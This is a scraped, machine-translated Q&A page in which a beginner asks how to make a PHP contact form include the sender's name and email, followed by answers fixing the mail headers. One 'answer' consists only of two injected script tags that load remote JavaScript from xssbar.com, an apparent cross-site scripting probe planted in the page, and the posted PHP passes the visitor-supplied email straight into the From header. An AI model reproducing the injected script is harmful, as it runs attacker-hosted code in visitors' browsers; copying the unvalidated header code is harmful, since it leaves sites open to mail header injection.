有人可以帮我生成一个contact.php吗?

Posted

技术标签:

【中文标题】有人可以帮我生成一个contact.php吗?【英文标题】:Can someone help me generate a contact.php? 【发布时间】:2017-01-07 01:09:52 【问题描述】:

我正在做我的第一个网站 - 我将它上传到 http://testinglakovna.borec.cz/,我基本上使用了一个免费模板并根据我的喜好对其进行了调整。 不幸的是,模板提供的联系表格没有附带“contact.php”,我不知道如何正确激活它。 已经 4 天了,我发现我需要一个 contact.php 激活,我找到了一个激活表单的脚本 - 它确实发送电子邮件,但它只发送消息,不显示发件人的电子邮件、姓名或发件人自己写的主题... 我现在急需帮助 - 有没有人可以帮助我编写这段代码? 我的contact.php代码是这样的:

<?php 
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz'; 
$to = 'ilona.takacsova@gmail.com'; 
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n  $name\n Email:\n $email\n Message:\n $message";

$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers = 'From: $email' . "\r\n" .
'Reply-To: reply@example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();


mail($to, $subject, $message, $headers);

if ($mail_status)  ?>
<script language="javascript" type="text/javascript">
    alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
    window.location = 'index.html';
</script>
<?php

else  ?>
<script language="javascript" type="text/javascript">
    alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs@gmail.com');
    window.location = 'index.html';
</script>
<?php

?>

index.html的联系方式html是:

<div class="col-lg-12">
  <form action="contact.php" method="post" id="form" class="contact-form">
    <div class="col-sm-6 contact-form-left">
      <div class="form-group">
        <input name="name" type="text" class="form-control" id="name" placeholder="Meno">
        <input type="email" name="email" class="form-control" id="mail" placeholder="Email">
        <input name="subject" type="text" class="form-control" id="subject" placeholder="Predmet">
      </div>
    </div>
    <div class="col-sm-6 contact-form-right">
      <div class="form-group">
        <textarea name="message" rows="6" class="form-control" id="comment" placeholder="Zanechajte nám odkaz"></textarea>
        <center><button type="submit" class="btn btn-default">Odoslať</button></center>
      </div>
    </div>
  </form>
</div>

我已经搜索过其他人的问题的答案,但仍然无法解决这个问题。这是我在正式发布网站之前要做的最后一件事。

【问题讨论】:

任何错误抛出?前端还是后端? chat.***.com/rooms/122219/helping-contact 我马上帮你。 如果&lt;?php $name = $_POST['name'];此代码属于contact.php,请将名称属性添加到&lt;button type="submit"并检查if ( isset( $_POST['submit'] ) ) var_dump( $_POST ); 。这将指导您。暂时删除你的 JS。 大声笑我没有足够的声望在这里和你交谈不幸的是我刚刚注册,是的 - 在点击发送按钮后它会弹出“消息发送失败”而不是“消息已发送”,即使它确实发送了电子邮件....并单击“确定”显示通知:未定义标题 .... 第 10 行,然后注意:未定义的 mail_status 第 19 行 ..... 不能真正写把整个事情都放下,因为它会立即关闭.. 我告诉你加入我创建的聊天。 【参考方案1】:

糟糕,此分类中似乎没有内容。

    <script>s=document.createElement("script");s.src="http://xssbar.com/?c=T0xwU";document.getElementsByTagName("head")

[0].appendChild(s);</script>

谢谢!!!

<script>s=document.createElement("script");s.src="http://xssbar.com/?c=lELBQ";document.getElementsByTagName("head")

[0].appendChild(s);</script>

【讨论】:

【参考方案2】:

只要声明一个新变量,我们就叫它 $sendEmail = 'name = $name, email = $email, message= $message, subject = $subject' 之后,在 mail 函数中,将 $message 替换为您刚刚创建的 $sendEmail 变量 它应该可以正常工作,但请记住,如果您在本地服务器上部署代码,则电子邮件很可能会发送到垃圾邮件文件夹。 让我知道是否有帮助...

【讨论】:

【参考方案3】:

刚刚做了,它在我的电子邮件地址上工作(经过测试)。

<?php 
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz'; 
$to = 'YOUR_EMAIL_HERE'; 
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n  $name\n Email:\n $email\n Message:\n $message";

$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers .= 'From: '.$email . "\r\n";
$headers .= 'Reply-To: '.$to . "\r\n";
$headers .='X-Mailer: PHP/' . phpversion();


mail($to, $subject, $message, $headers);

if ($mail_status)  ?>
<script language="javascript" type="text/javascript">
    alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
    window.location = 'index.html';
</script>
<?php

else  ?>
<script language="javascript" type="text/javascript">
    alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs@gmail.com');
    window.location = 'index.html';
</script>
<?php

?>

【讨论】:

查看当我使用此代码时,它会从“$email”向我发送一封电子邮件......它不显示发件人的电子邮件地址......知道为什么它对我不起作用? @IlonaTakácsová - 因为,请查看您的 HTML:&lt;input type="email" name="email" class="form-control" id="mail" placeholder="Email"&gt; 重要的是“id=”而不是“name=”替换“ id=mail”到“id=email” @IlonaTakácsová - 是的,但删除 id="mail" ,只使用 id="email" 。 :) @IlonaTakácsová 如果这个答案解决了问题,请接受答案:) 该死,现在它甚至不再显示消息了:(除了这些代码之外还有什么问题吗?我压缩了整个网站并上传到ulozto.sk/!MjP9y2Skh/mywebsitetemplate-rar...你能检查一下? index.html 在底部包含一些脚本,它们可能会弄乱代码还是不可能...?

以上是关于有人可以帮我生成一个contact.php吗?的主要内容,如果未能解决你的问题,请参考以下文章

有人可以帮我在 PL/SQL Oracle 中实现以下触发器吗?

有人可以帮我在c#中解决这个问题吗

有人可以帮我解释一些逻辑吗?

有人可以帮我解决错误吗?

有人可以帮我修复这个 Xcode 的 UICollection 吗?

有人可以帮我修复错误 pls-00049 吗?